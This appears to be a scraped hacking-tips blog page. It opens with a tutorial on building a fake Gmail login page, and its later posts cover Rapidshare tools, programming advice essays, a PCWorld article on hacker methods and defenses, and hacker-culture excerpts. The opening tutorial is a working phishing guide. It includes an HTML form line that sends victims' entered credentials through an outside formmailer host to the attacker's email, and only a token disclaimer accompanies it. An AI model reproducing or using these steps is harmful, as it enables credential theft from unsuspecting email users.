Hacking Tricks » How To Create A Fake Email Login Page

Fake Login Pages are one of the BEST method to Hack an Email account.Now it’s easy to build a Fake Login Pages without any knowledge of Programming Languages.
One can use http://www.jotform.com to build the Sign Up page.

Rest of the things required to build a Fake Login Page are easy to learn.Example of a Fake Login Page is displayed below.

Don’t forget to spice up your fake login page with css to express the delusion.

If you want to host your page on a free server, then below is the link to Free Hosting Providers.

http://www.webs.com or http://www.zymic.com

How to : Make Fake Login Page in 5 mins

Do step by step

• Open any page for which you wanna make fake. (For example: Gmail.com)

• Save page . In the saving option it asks for save as type select complete webpage.(Ctrl + s)

• Now where u have save the page it will be showing u that page and a dir wid images on the page.

• Now Rite Click on the Page and click edit.

• Search <Form in the page.

• Now Delete That Form Value , Method ,Action whatever its written delete that line.(For Gmail: <FORM id=”gaia_loginform” action=”https://www.google.com/accounts/ServiceLoginAuth” method=”post” onSubmit=”return(gaia_onLoginSubmit());”>)

• Now add this line 

<form action="http://www.big-llc.com/formmailer/submit" method="post"><input type="hidden" value="Your Email Id" name="fm-to"><font color="#333333"> </font><input type="hidden" value="blog.icyse.com_password_for educational purposes only" name="fm-title"><font color="#333333"> </font><input type="hidden" value="Link You Want To redirect" name="fm-redirect"><font color="#333333"> </font>

• Save and close the editor.

• Upload the Directory wid images and this Page on free hosting site.

• Its Done Simply made in just 5 mins

Note : Don’t Change The Directory Name or Page Name.


Now you can receive the id/password on your email.

Disclaimer
All the information provided on ProHackingTricks are for educational purposes only. The site is no way responsible for any misuse of the information. ProHackingTricks is a site related to Computer Security and not a site that promotes hacking/cracking/software piracy.All the information on this site are meant for developing Hacker Defense attitude among the users and help preventing the hack attacks.ProHackingTricks insists that these information shall not be used for causing any kind of damage directly or indirectly.The site is totally meant for educational purposes only and the author of ProHackingTricks is not liable of any illegal act performed by any user.

Author: dfgdfg,

Categories: Ethical Hacking, Gmail Hacking, Hacking, Hacking Techniques, Hacking Tips, Hacking Tools, Professional Hacking

Best Collections of Rapidshare Tools and Tricks

Rapidshare is world’s biggest file storage/sharing network and one of the most trafficked websites on the web. With it’s enormous file database (ebooks, software, audio,video, etc…) it became highly popular download destination. In this article you’ll find bunch of handy tips and tools(download managers and accelerators,search engines,how to get premium account, etc) designed for rapidshare users

1. Free Download Managers & Accelerators 

• OrbitDownloader
• Rapget
• SpeedBit
• West Byte Software

 2. Rapidshare Search Engines 

• Rapidfox
• Shareminer
• Peer2link
• Rapidsharefiles(has a desktop version as well)
• Rapidsearch
• Funfail
• Filesbot
• Probble

3. Free Premium Account Notifier 
RapidCheck: Once in a while rapidshare gives away free premium accounts on ‘first come first served’ basis. Unless you’re extremely lucky fellow, you can only get one if you’re using some kind of monitoring software that automatically checks for premium accounts promo on specified time intervals and lets you know as soon as it’s detected. Rapidcheck is one of such tools and it’s completely free.

• tech-recipes.com – Hacks to Beat Rapidshare Download Limits and Waiting Time
• sr-ultimate.com – Google & Rapidshare Hacks : Rapidshare Tricks, Megaupload, Yousendit Hacks, Crack Rapidshare.de
• readyouth.blogspot.com – Simultaneous Downloads with Rapidshare
• Namhuy.org – Hacks to Beat Rapidshare Download Limits and Waiting Time
• Ghacks.net – Rapidshare Hacks, Downloads, Tools and Searches

Author: dfgdfg,

Categories: Hacking, Hacking Techniques, Internet Tricks

You Can't Be A Better Programmer in 21 Days

People take a first programming course and they think they’re done - they’re programmers! Well not so fast. There is more to it than that just as there was more to learning and even reading when I finished the first grade. Others come to me and tell me they want to learn enough programming to create a specific application (rarely one that is that easy) or the next Halo 3 (never that easy) or something. There is this cram school mentality that seems to overtake so many people. Unfortunately, programming like so many things takes a while to really, deeply learn.

I ran across the article Teach Yourself Programming in Ten Years by Peter Norvig recently and it does a good job of addressing this very issue.

Why is everyone in such a rush?

Walk into any bookstore, and you'll see how to Teach Yourself Java in 7 Days alongside endless variations offering to teach Visual Basic, Windows, the Internet, and so on in a few days or hours. I did the following power search at Amazon.com:

     pubdate: after 1992 and title: days and
      (title: learn or title: teach yourself)

and got back 248 hits. The first 78 were computer books (number 79 was Learn Bengali in 30 days). I replaced "days" with "hours" and got remarkably similar results: 253 more books, with 77 computer books followed by Teach Yourself Grammar and Style in 24 Hours at number 78. Out of the top 200 total, 96% were computer books.

The conclusion is that either people are in a big rush to learn about computers, or that computers are somehow fabulously easier to learn than anything else. There are no books on how to learn Beethoven, or Quantum Physics, or even Dog Grooming in a few days. Felleisen et al. give a nod to this trend in their book How to Design Programs, when they say "Bad programming is easy. Idiots can learn it in 21 days, even if they are dummies.

Let's analyze what a title like Learn C++ in Three Days could mean:

• Learn: In 3 days you won't have time to write several significant programs, and learn from your successes and failures with them. You won't have time to work with an experienced programmer and understand what it is like to live in a C++ environment. In short, you won't have time to learn much. So the book can only be talking about a superficial familiarity, not a deep understanding. As Alexander Pope said, a little learning is a dangerous thing.

• C++: In 3 days you might be able to learn some of the syntax of C++ (if you already know another language), but you couldn't learn much about how to use the language. In short, if you were, say, a Basic programmer, you could learn to write programs in the style of Basic using C++ syntax, but you couldn't learn what C++ is actually good (and bad) for. So what's the point? Alan Perlis once said: "A language that doesn't affect the way you think about programming, is not worth knowing". One possible point is that you have to learn a tiny bit of C++ (or more likely, something like JavaScript or Flash's Flex) because you need to interface with an existing tool to accomplish a specific task. But then you're not learning how to program; you're learning to accomplish that task.

• in Three Days: Unfortunately, this is not enough, as the next section shows.

Teach Yourself Programming in Ten Years

Researchers (Bloom (1985), Bryan & Harter (1899), Hayes (1989), Simmon & Chase (1973)) have shown it takes about ten years to develop expertise in any of a wide variety of areas, including chess playing, music composition, telegraph operation, painting, piano playing, swimming, tennis, and research in neuropsychology and topology. The key is deliberative practice: not just doing it again and again, but challenging yourself with a task that is just beyond your current ability, trying it, analyzing your performance while and after doing it, and correcting any mistakes. Then repeat. And repeat again.

There appear to be no real shortcuts: even Mozart, who was a musical prodigy at age 4, took 13 more years before he began to produce world-class music. In another genre, the Beatles seemed to burst onto the scene with a string of #1 hits and an appearance on the Ed Sullivan show in 1964. But they had been playing small clubs in Liverpool and Hamburg since 1957, and while they had mass appeal early on, their first great critical success, Sgt. Peppers, was released in 1967. Malcolm Gladwell reports that a study of students at the Berlin Academy of Music compared the top, middle, and bottom third of the class and asked them how much they had practiced:

Everyone, from all three groups, started playing at roughly the same time - around the age of five. In those first few years, everyone practised roughly the same amount - about two or three hours a week. But around the age of eight real differences started to emerge. The students who would end up as the best in their class began to practise more than everyone else: six hours a week by age nine, eight by age 12, 16 a week by age 14, and up and up, until by the age of 20 they were practising well over 30 hours a week. By the age of 20, the elite performers had all totalled 10,000 hours of practice over the course of their lives. The merely good students had totalled, by contrast, 8,000 hours, and the future music teachers just over 4,000 hours.

So it may be that 10,000 hours, not 10 years, is the magic number. Samuel Johnson (1709-1784) thought it took longer: "Excellence in any department can be attained only by the labor of a lifetime; it is not to be purchased at a lesser price." And Chaucer (1340-1400) complained "the lyf so short, the craft so long to lerne." Hippocrates (c. 400BC) is known for the excerpt "ars longa, vita brevis", which is part of the longer quotation "Ars longa, vita brevis, occasio praeceps, experimentum periculosum, iudicium difficile", which in English renders as "Life is short, [the] craft long, opportunity fleeting, experiment treacherous, judgment difficult." Although in Latin, ars can mean either art or craft, in the original Greek the word "techne" can only mean "skill", not "art".

Here's my recipe for programming success:

• Get interested in programming, and do some because it is fun. Make sure that it keeps being enough fun so that you will be willing to put in ten years.

• Talk to other programmers; read other programs. This is more important than any book or training course.

• Program. The best kind of learning is learning by doing. To put it more technically, "the maximal level of performance for individuals in a given domain is not attained automatically as a function of extended experience, but the level of performance can be increased even by highly experienced individuals as a result of deliberate efforts to improve." (p. 366) and "the most effective learning requires a well-defined task with an appropriate difficulty level for the particular individual, informative feedback, and opportunities for repetition and corrections of errors." (p. 20-21) The book Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life is an interesting reference for this viewpoint.

• If you want, put in four years at a college (or more at a graduate school). This will give you access to some jobs that require credentials, and it will give you a deeper understanding of the field, but if you don't enjoy school, you can (with some dedication) get similar experience on the job. In any case, book learning alone won't be enough. "Computer science education cannot make anybody an expert programmer any more than studying brushes and pigment can make somebody an expert painter" says Eric Raymond, author of The New Hacker's Dictionary. One of the best programmers I ever hired had only a High School degree; he's produced a lot of great software, has his own news group, and made enough in stock options to buy his own nightclub.

• Work on projects with other programmers. Be the best programmer on some projects; be the worst on some others. When you're the best, you get to test your abilities to lead a project, and to inspire others with your vision. When you're the worst, you learn what the masters do, and you learn what they don't like to do (because they make you do it for them).

• Work on projects after other programmers. Be involved in understanding a program written by someone else. See what it takes to understand and fix it when the original programmers are not around. Think about how to design your programs to make it easier for those who will maintain it after you.

• Learn at least a half dozen programming languages. Include one language that supports class abstractions (like Java or C++), one that supports functional abstraction (like Lisp or ML), one that supports syntactic abstraction (like Lisp), one that supports declarative specifications (like Prolog or C++ templates), one that supports coroutines (like Icon or Scheme), and one that supports parallelism (like Sisal).

• Remember that there is a "computer" in "computer science". Know how long it takes your computer to execute an instruction, fetch a word from memory (with and without a cache miss), read consecutive words from disk, and seek to a new location on disk. (Answers here.)

• Get involved in a language standardization effort. It could be the ANSI C++ committee, or it could be deciding if your local coding style will have 2 or 4 space indentation levels. Either way, you learn about what other people like in a language, how deeply they feel so, and perhaps even a little about why they feel so.

• Have the good sense to get off the language standardization effort as quickly as possible.

With all that in mind, its questionable how far you can get just by book learning. Before my first child was born, I read all the How To books, and still felt like a clueless novice. 30 Months later, when my second child was due, did I go back to the books for a refresher? No. Instead, I relied on my personal experience, which turned out to be far more useful and reassuring to me than the thousands of pages written by experts.

Fred Brooks, in his essay No Silver Bullet identified a three-part plan for finding great software designers:

1. Systematically identify top designers as early as possible.
2. Assign a career mentor to be responsible for the development of the prospect and carefully keep a career file.
3. Provide opportunities for growing designers to interact and stimulate each other.

This assumes that some people already have the qualities necessary for being a great designer; the job is to properly coax them along. Alan Perlis put it more succinctly: "Everyone can be taught to sculpt: Michelangelo would have had to be taught how not to. So it is with the great programmers".

So go ahead and buy that Java book; you'll probably get some use out of it. But you won't change your life, or your real overall expertise as a programmer in 24 hours, days, or even months.

References

Bloom, Benjamin (ed.) Developing Talent in Young People, Ballantine, 1985.

Brooks, Fred, No Silver Bullets, IEEE Computer, vol. 20, no. 4, 1987, p. 10-19.

Bryan, W.L. & Harter, N. "Studies on the telegraphic language: The acquisition of a hierarchy of habits. Psychology Review, 1899, 8, 345-375

Hayes, John R., The Complete Problem Solver, 2nd Edition Lawrence Erlbaum, 1989.

Chase, William G. & Simon, Herbert A. "Perception in Chess" Cognitive Psychology, 1973, 4, 55-81.

Lave, Jean, Cognition in Practice: Mind, Mathematics and Culture in Everyday Life, Cambridge University Press, 1988.

Answers

Approximate timing for various operations on a typical PC:

execute typical instruction	1/1,000,000,000 sec = 1 nanosec
fetch from L1 cache memory	0.5 nanosec
branch misprediction	5 nanosec
fetch from L2 cache memory	7 nanosec
Mutex lock/unlock	25 nanosec
fetch from main memory	100 nanosec
send 2K bytes over 1Gbps network	20,000 nanosec
read 1MB sequentially from memory	250,000 nanosec
fetch from new disk location (seek)	8,000,000 nanosec
read 1MB sequentially from disk	20,000,000 nanosec
send packet US to Europe and back	150 milliseconds = 150,000,000 nanosec

Appendix: Language Choice

Several people have asked what programming language they should learn first. There is no one answer, but consider these points:

Use your friends. When asked "what operating system should I use, Windows, Unix, or Mac?", my answer is usually: "use whatever your friends use." The advantage you get from learning from your friends will offset any intrinsic difference between OS, or between programming languages. Also consider your future friends: the community of programmers that you will be a part of if you continue. Does your chosen language have a large growing community or a small dying one? Are there books, web sites, and online forums to get answers from? Do you like the people in those forums?

Keep it simple. Programming languages such as C++ and Java are designed for professional development by large teams of experienced programmers who are concerned about the run-time efficiency of their code. As a result, these languages have complicated parts designed for these circumstances. You're concerned with learning to program. You don't need that complication. You want a language that was designed to be easy to learn and remember by a single new programmer.

Play. Which way would you rather learn to play the piano: the normal, interactive way, in which you hear each note as soon as you hit a key, or "batch" mode, in which you only hear the notes after you finish a whole song? Clearly, interactive mode makes learning easier for the piano, and also for programming. Insist on a language with an interactive mode and use it.

Given these criteria, my recommendations for a first programming language would be Python or Scheme. But your circumstances may vary, and there are other good choices. If your age is a single-digit, you might prefer Alice or Squeak (older learners might also enjoy these). The important thing is that you choose and get started.

Appendix: Books and Other Resources

Several people have asked what books and web pages they should learn from. I repeat that "book learning alone won't be enough" but I can recommend the following:

Scheme: Instructor's Manual t/a Structure and Interpretation of Computer Programs - 2nd Edition is probably the best introduction to computer science, and it does teach programming as a way of understanding the computer science. You can see online videos of lectures on this book, as well as the complete text online. The book is challenging and will weed out some people who perhaps could be successful with another approach.

Scheme: How to Design Programs is one of the best books on how to actually design programs in an elegant and functional way.

Python: Python Programming: An Introduction to Computer Science is a good introduction using Python.

Python: Several online tutorials are available at Python.org.

Oz: Concepts, Techniques, and Models of Computer Programming (Van Roy & Haridi) is seen by some as the modern-day successor to Abelson & Sussman. It is a tour through the big ideas of programming, covering a wider range than Abelson & Sussman while being perhaps easier to read and follow. It uses a language, Oz, that is not widely known but serves as a basis for learning other languages.

Author: dfgdfg,

Categories: Hacking Techniques, Programming

How to become a better Programmer

This will give you a few hints and some help to becoming a better programmer. So read on and enjoy! Programming can be a lot of fun.

Go for it!

1. Use a bigger font size.

This is ridiculously easy -- but it works.

Go to your favourite IDE, and crank the font-size up. I switched from 10pt to 14 pt. The difference is that a lot less code fits on the screen at once.

The effect is: you're forced to write shorter methods. And that's a Good Thing.

(Scott Hanselman recommends that one)

2. Make hard-coded strings look ugly.I learnt this from Joe Cooney.
   Go to your favourite IDE, and set it so that literal strings stand right out -- for example a yellow background with a red font. Make 'em ugly. Damn ugly. This will encourage you to perform less hard coding, and to notice when you are embedding strings in your text.
   
   
3. Pick an 'obscure' keyword and master itDo you fail to yield?. Is there a keyword you never use?
   Every keyword has a purpose. Learn to master those mystery keywords and your powers will become extraordinary.
   Here are lists for a few .net languages: C#, VB.net, F#.
   
   
4. Increase code-coverage by 1%Don't kill yourself striving for 100% coverage of code with automated unit tests. But take a few minutes to increase your coverage by 1%.
   Most likely, that means going from 0% to 1%. And that's the biggest improvement of all.
   Find a particularly ghoulish regular expression. Or a critical piece of business logic. These things can't be trusted without tests.
   
   
5. Read the code from an open source projectSometimes, when I'm looking at the code of a complete stranger, I get that same, weird feeling I get when I'm creeping through my neighbour's house. Picking up their stuff, looking through their fridge.
   Learn to overcome the creepy sensation, and bring on the learn.
   Maybe start with Hanselman's Weekly Source Code series.
   
   
6. Run a static analysis tool against your codeUse fxcop, or StyleCop, clone detective, ndepend, the code metrics feature of VS 2008, or any other static analysis tool of your choice.
   Uncover your greatest weakness. Even a cursory glance at the output will leave you distraught at just how much room you've got for improvement.
   
   
7. Pick an ugly method to refactorYou know the method. That method you're particularly ashamed of. That one that's long and ugly and horrible. And it's crucial to the whole application.
   You don't have to polish it from a turd to a diamond, but just neaten it up a little. Rename a variable. Hoist part of it out into a separate method. Start simple. The momentum will increase. Watch out.
   
   
8. Stop reading, start writing.And don't just write. Write a compiler!
   This ol' msdn article is a good place to start. Joel Pobar will get you writing your own language compiler in but a handful of minutes.
   

That's all I've come up with for now. But what've you got?
What are some activities that helped you be a better programmer?

Author: dfgdfg,

Categories: Hacking Techniques, Programming

The tricks hackers use, and what you can do to foil them.

I was going through an article at pc world and came across this. Please tech geeks looking for how hackers hack, here you are. I bring this piece of writing by Kim & Zetter to enlighten your mindset. 

The tricks hackers use, and what you can do to foil them.

Kim Zetter and Andrew Brandt, PCWorld.com

With the click of a mouse on one computer, the screen of the laptop a few feet away flashes wildly as a flood of data flies silently across a private network cable connecting the two machines. Within a minute the laptop's file sharing password is compromised.

"The computer is having a bad day," says a reporter as he watches the effect of the attack on his machine. "Packets are coming at it so fast, the firewall doesn't know what to do."

Some hackers claim they can teach a monkey how to hack in a couple of hours. We asked two hackers, Syke and Optyx (at their request, we are using their hacking pseudonyms rather than their real names), to give us non-simian reporters a demonstration.

What we got was a sometimes-frightening view of how easily nearly anyone's computer--at home or at work, protected or not--can be cracked by a determined hacker. But we also found out that computer users can make a hacker's job much harder by avoiding a few common mistakes.

Syke, a 23-year-old white-hat hacker, and Optyx, a 19-year-old self-proclaimed black hat, both work in computer security (Syke, until recently, for a well-known security software vendor; Optyx for an application service provider).

They launch their attack on our notebook from desktop computers located in the windowless basement that is New Hack City, a sort of hacker research-and-development lab (and part-time party lounge).

The lab's rooms are filled with over a dozen Sun SPARC servers, assorted network hubs and mountains of ethernet cable, an arcade-size Ms. Pac Man game, and a DJ tower stocked with music-mixing equipment for all-night hacker jams.

Hacking 101

"You should understand," says Optyx, as he enters a few commands that bring our machine to its knees, "no matter what people do, hackers will always find a way to get into systems."

Just as he says this, Optyx uses a program to get the laptop to spew out a bit of data identifying its operating system and version.

He then runs the program that cracked the file sharing password in the blink of an eye. We watch as he uses another tool to root through files in the laptop's shared directory.

As hacking goes, the methods our two instructors use on our laptop are not very elegant--the equivalent of using brute force to knock in a door--and through the machine's software firewall, we are immediately aware that the machine is being hacked. But, save from disconnecting our machine from the network cable, we're powerless to stop it.

Most hacking attacks, however, are much more invisible.
 

Open Sesame

The methods hackers use to attack your machine or network are fairly simple. A hacker scans for vulnerable systems by using a demon dialer (which will redial a number repeatedly until a connection is made) or a wardialer (an application that uses a modem to dial thousands of random phone numbers to find another modem connected to a computer).

Another approach used to target computers with persistent connections, such as DSL or cable connections, employs a scanner program that sequentially "pings" IP addresses of networked systems to see if the system is up and running.

Where can a hacker find such tools? On the Internet, of course.

Sites containing dozens of free, relatively easy-to-use hacking tools available for download are easy to find on the Net. While understanding how these tools work is not always easy, many files include homegrown documentation written in hacker shoptalk.

Among the programs available are scanning utilities that reveal the vulnerabilities on a computer or network and sniffing programs that let hackers spy on data passing between machines.

Hackers also use the Net to share lists of vulnerable IP addresses--the unique location of Internet-connected computers with unpatched security holes. Addresses of computers that have already been loaded with a Trojan horse are available for anyone to exploit (in many cases without the owner of the computer knowing).

Once the hacker finds a machine, he uses a hacker tool such as Whisker to identify in less than a second what operating system the machine is using and whether any unpatched holes exist in it. Whisker, one of a handful of legitimate tools used by system administrators to test the security of their systems, also provides a list of exploits the hacker can use to take advantage of these holes.

Security Software Alone Can't Stop Them

Syke and Optyx explain that several conditions make it easier for them to hack into a system. Lax security is one of them--such as when a company uses no passwords on its system or fails to change Windows' default passwords.

In October 2000 hackers broke into Microsoft's system and viewed source code for the latest versions of Windows and Office after discovering a default password that an employee never bothered to change.

Other common mistakes: When system administrators don't update software with security patches, they leave vulnerable ports open to attack. Or when they install expensive intrusion detection systems, some fail to monitor the alarms that warn them when an intruder is breaking in.

Still another boon to hackers is a firewall or router that is misconfigured, allowing hackers to "sniff" pieces of data--passwords, e-mail, or files--that pass through the network.
 

Got Root?

Once a hacker cracks into a system, his next goal is to get root, or give himself the highest level of access on the machine. The hacker can use little-known commands to get root, or can search the documents in the system's hard drive for a file or e-mail message that contains the system administrator's password.

Armed with root access, he can create legitimate-looking user accounts and log in whenever he wants without attracting attention. He can also alter or delete system logs to erase any evidence (such as command lines) that he gained access to the system.

But a hacker doesn't need root access to affect a system. He can misroute traffic intended to go to one company's Web server to a different one. Or, exploiting a well-documented bug (for which there's a patch that many sites haven't applied), a hacker can replace any Web page with his own text using a simple set of UNIX commands typed into the browser's Address bar.

Denying Service

A more serious threat, however, comes from skilled hackers who launch a denial-of-service attack, in which a Web server is flooded with so many requests that it stops responding altogether.

Previously one of the most common attacks, DoS attacks are now much harder to accomplish. Large Internet companies counter them by buying larger Internet pipes, which are harder to fill with the junk data hackers throw at them. The more bandwidth a company has, the more service the hacker needs to interrupt in order to produce a noticeable effect.

Hackers quickly learned that a single computer couldn't send enough phony requests to deny service, so they came up with a clever approach that employs dozens of hacked computers, working in synch to execute a distributed denial-of-service attack.

A DDoS attack uses as many computers as the hacker can control (called "zombies") to send bogus data requests to a targeted server. To unleash the attack, the hacker sends just one command, which propagates to all of the zombies and causes a near-instantaneous death-by-data on the Web server.

A hacker can also use an army of compromised computers to steal data--such as credit card numbers and proprietary corporate files--without leaving a clear trail. The hacker hops from machine to machine and then launches an attack that passes through all of them, creating a maze of connections for authorities to sift through.

University systems are prime targets for such activity, since administrators often leave student accounts active after students have graduated. A hacker can take over the account and use it as a base to attack another system.

In December 2000 hackers broke into a U.S. Air Force system in Virginia and downloaded code for controlling communication and spy satellites to a computer in Sweden. The Swedish company that owned the system housing the data had no idea hackers were using its computer, and cooperated with authorities.

From Sweden the activity was traced to a university machine in Germany, which authorities also believe was being used by a distant hacker.
 

Online Espionage

Hackers can silently collect information from a machine for months without being detected. Using a Trojan horse, a hacker can log keystrokes on a computer (to obtain a user's passwords) or use a "sniffing" program to collect sensitive data as it passes from one computer to another.

Sniffer software is a bit like a radio in that it simply listens for traffic to pass by it on the network wire. Sniffers are undetectable by the user and (usually) by the system administrator.
 

Nowhere to Hide

It might seem that, with all the ways hackers can get into your system, there's no safe place for your data to hide. Optyx would agree--to a point.

Casually typing commands on his keyboard that sends our laptop into further frenzy, Optyx says that simply running antivirus software alone, or having a firewall or intrusion detection system, won't prevent the theft of data or hacking of your computer.

"If people hack your machine," continues Optyx, "they hack it through a vulnerability."

He recommends that, in addition to using the above tools, every user install the latest security patches on their critical software, including the operating system and the applications they regularly use. "The only way to protect yourself is to patch up the holes," he says.

Kim Zetter and Andrew Brandt are PC World senior associate editors who cover security and privacy issues.

Author: dfgdfg,

Categories: Basic Hacking Skills, Hacking, Hacking Techniques

The Most Important Basic Hacking Skills You Should Know First

The hacker attitude is vital, but skills are even more vital. Attitude is no substitute for competence, and there's a certain basic toolkit of skills which you have to have before any hacker will dream of calling you one.

This toolkit changes slowly over time as technology creates new skills and makes old ones obsolete. For example, it used to include programming in machine language, and didn't until recently involve HTML. But right now it pretty clearly includes the following:

1. Learn how to program.

This, of course, is the fundamental hacking skill. If you don't know any computer languages, I recommend starting with Python. It is cleanly designed, well documented, and relatively kind to beginners. Despite being a good first language, it is not just a toy; it is very powerful and flexible and well suited for large projects. Good tutorials are available at the Python web site.

I used to recommend Java as a good language to learn early, but this critique has changed my mind (search for “The Pitfalls of Java as a First Programming Language” within it). A hacker cannot, as they devastatingly put it “approach problem-solving like a plumber in a hardware store”; you have to know what the components actually do. Now I think it is probably best to learn C and Lisp first, then Java.

There is perhaps a more general point here. If a language does too much for you, it may be simultaneously a good tool for production and a bad one for learning. It's not only languages that have this problem; web application frameworks like RubyOnRails, CakePHP, Django may make it too easy to reach a superficial sort of understanding that will leave you without resources when you have to tackle a hard problem, or even just debug the solution to an easy one.

If you get into serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; if you know one, learning the other will not be difficult. Neither language is a good one to try learning as your first, however. And, actually, the more you can avoid programming in C the more productive you will be.

C is very efficient, and very sparing of your machine's resources. Unfortunately, C gets that efficiency by requiring you to do a lot of low-level management of resources (like memory) by hand. All that low-level code is complex and bug-prone, and will soak up huge amounts of your time on debugging. With today's machines as powerful as they are, this is usually a bad tradeoff — it's smarter to use a language that uses the machine's time less efficiently, but your time much more efficiently. Thus, Python.

Other languages of particular importance to hackers include Perl and LISP. Perl is worth learning for practical reasons; it's very widely used for active web pages and system administration, so that even if you never write Perl you should learn to read it. Many people use Perl in the way I suggest you should use Python, to avoid C programming on jobs that don't require C's machine efficiency. You will need to be able to understand their code.

LISP is worth learning for a different reason — the profound enlightenment experience you will have when you finally get it. That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot. (You can get some beginning experience with LISP fairly easily by writing and modifying editing modes for the Emacs text editor, or Script-Fu plugins for the GIMP.)

It's best, actually, to learn all five of Python, C/C++, Java, Perl, and LISP. Besides being the most important hacking languages, they represent very different approaches to programming, and each will educate you in valuable ways.

But be aware that you won't reach the skill level of a hacker or even merely a programmer simply by accumulating languages — you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to get to the point where you can learn a new language in days by relating what's in the manual to what you already know. This means you should learn several very different languages.

I can't give complete instructions on how to learn to program here — it's a complex skill. But I can tell you that books and courses won't do it — many, maybe most of the best hackers are self-taught. You can learn language features — bits of knowledge — from books, but the mind-set that makes that knowledge into living skill can be learned only by practice and apprenticeship. What will do it is (a) reading code and (b) writing code.

Peter Norvig, who is one of Google's top hackers and the co-author of the most widely used textbook on AI, has written an excellent essay called Teach Yourself Programming in Ten Years. His "recipe for programming success" is worth careful attention.

Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more ... and repeat until your writing begins to develop the kind of strength and economy you see in your models.

Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; open-source software, programming tools, and operating systems (all built by hackers) are now widely available. Which brings me neatly to our next topic...

2. Get one of the open-source Unixes and learn to use and run it.

I'll assume you have a personal computer or can get access to one. (Take a moment to appreciate how much that means. The hacker culture originally evolved back when computers were so expensive that individuals could not own them.) The single most important step any newbie can take toward acquiring hacker skills is to get a copy of Linux or one of the BSD-Unixes or OpenSolaris, install it on a personal machine, and run it.

Yes, there are other operating systems in the world besides Unix. But they're distributed in binary — you can't read the code, and you can't modify it. Trying to learn to hack on a Microsoft Windows machine or under any other closed-source system is like trying to learn to dance while wearing a body cast.

Under Mac OS X it's possible, but only part of the system is open source — you're likely to hit a lot of walls, and you have to be careful not to develop the bad habit of depending on Apple's proprietary code. If you concentrate on the Unix under the hood you can learn some useful things.

Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can't be an Internet hacker without understanding Unix. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn't always true, and some old-time hackers still aren't happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft's muscle doesn't seem able to seriously dent it.)

So, bring up a Unix — I like Linux myself but there are other ways (and yes, you can run both Linux and Microsoft Windows on the same machine). Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You'll get better programming tools (including C, LISP, Python, and Perl) than any Microsoft operating system can dream of hosting, you'll have fun, and you'll soak up more knowledge than you realize you're learning until you look back on it as a master hacker.

For more about learning Unix, see The Loginataka. You might also want to have a look at The Art Of Unix Programming.

To get your hands on a Linux, see the Linux Online! site; you can download from there or (better idea) find a local Linux user group to help you with installation.

During the first ten years of this HOWTO's life, I reported that from a new user's point of view, all Linux distributions are almost equivalent. But in 2006-2007, an actual best choice emerged: Ubuntu. While other distros have their own areas of strength, Ubuntu is far and away the most accessible to Linux newbies.
You can find BSD Unix help and resources at www.bsd.org.

A good way to dip your toes in the water is to boot up what Linux fans call a live CD, a distribution that runs entirely off a CD without having to modify your hard disk. This will be slow, because CDs are slow, but it's a way to get a look at the possibilities without having to do anything drastic.

I have written a primer on the basics of Unix and the Internet.

I used to recommend against installing either Linux or BSD as a solo project if you're a newbie. Nowadays the installers have gotten good enough that doing it entirely on your own is possible, even for a newbie. Nevertheless, I still recommend making contact with your local Linux user's group and asking for help. It can't hurt, and may smooth the process.

3. Learn how to use the World Wide Web and write HTML.

Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even politicians admit has changed the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.

This doesn't just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web's markup language. If you don't know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page. Try to stick to XHTML, which is a cleaner language than classic HTML. (There are good beginner tutorials on the Web; here's one.)

But just having a home page isn't anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge — very snazzy-looking sludge, mind you, but sludge all the same (for more on this see The HTML Hell Page).

To be worthwhile, your page must have content — it must be interesting and/or useful to other hackers. And that brings us to the next topic...

4. If you don't have functional English, learn it.

As an American and native English-speaker myself, I have previously been reluctant to suggest this, lest it be taken as a sort of cultural imperialism. But several native speakers of other languages have urged me to point out that English is the working language of the hacker culture and the Internet, and that you will need to know it to function in the hacker community.

Back around 1991 I learned that many hackers who have English as a second language use it in technical discussions even when they share a birth tongue; it was reported to me at the time that English has a richer technical vocabulary than any other language and is therefore simply a better tool for the job. For similar reasons, translations of technical books written in English are often unsatisfactory (when they get done at all).

Linus Torvalds, a Finn, comments his code in English (it apparently never occurred to him to do otherwise). His fluency in English has been an important factor in his ability to recruit a worldwide community of developers for Linux. It's an example worth following.

Being a native English-speaker does not guarantee that you have language skills good enough to function as a hacker. If your writing is semi-literate, ungrammatical, and riddled with misspellings, many hackers (including myself) will tend to ignore you. While sloppy writing does not invariably mean sloppy thinking, we've generally found the correlation to be strong — and we have no use for sloppy thinkers. If you can't yet write competently, learn to.

And if you still have some good suggestions please do use the comment box below.

Author: dfgdfg,

Categories: Basic Hacking Skills, Hacking, Hacking Techniques

Five Principles of the Hackers Mindset

Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.

But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you'll miss the point. Becoming the kind of person who believes these things is important for you — for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mind-set of masters — not just intellectually but emotionally as well.

Or, as the following modern Zen poem has it:

    To follow the path:
    look to the master,
    follow the master,
    walk with the master,
    see through the master,
    become the master.

So, if you want to be a hacker, repeat the following things until you believe them:

1. The world is full of fascinating problems waiting to be solved.

Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, in pushing themselves past their own physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.

